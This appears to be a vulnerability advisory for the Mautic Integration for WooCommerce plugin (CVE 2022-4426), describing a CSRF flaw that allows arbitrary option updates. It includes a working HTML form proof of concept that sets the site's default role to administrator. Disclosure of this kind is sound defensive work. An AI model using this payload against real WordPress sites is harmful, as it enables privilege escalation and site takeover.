Mautic Integration For WooCommerce < 1.0.3 – Arbitrary Options Update via CSRF | CVE 2022-4426

Description

The plugin does not have proper CSRF check when updating settings, and does not ensure that the options to be updated belong to the plugin, allowing attackers to make a logged in admin change arbitrary blog options via a CSRF attack.

The attack could also be performed via a LFI if one is present in another plugin present on the blog.

Proof of Concept

Make a logged in user with the manage_woocommerce capability open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin.php?page=mautic-integration-for-woocommerce&mauwoo_tab=mautic_integration_for_woocommerce_connect" method="POST">
    <input type="text" name="mauwoo_activate_connect" value="1">
    <input type="text" name="default_role" value="administrator">
    <input type="submit" name="submit" value="submit">
</form>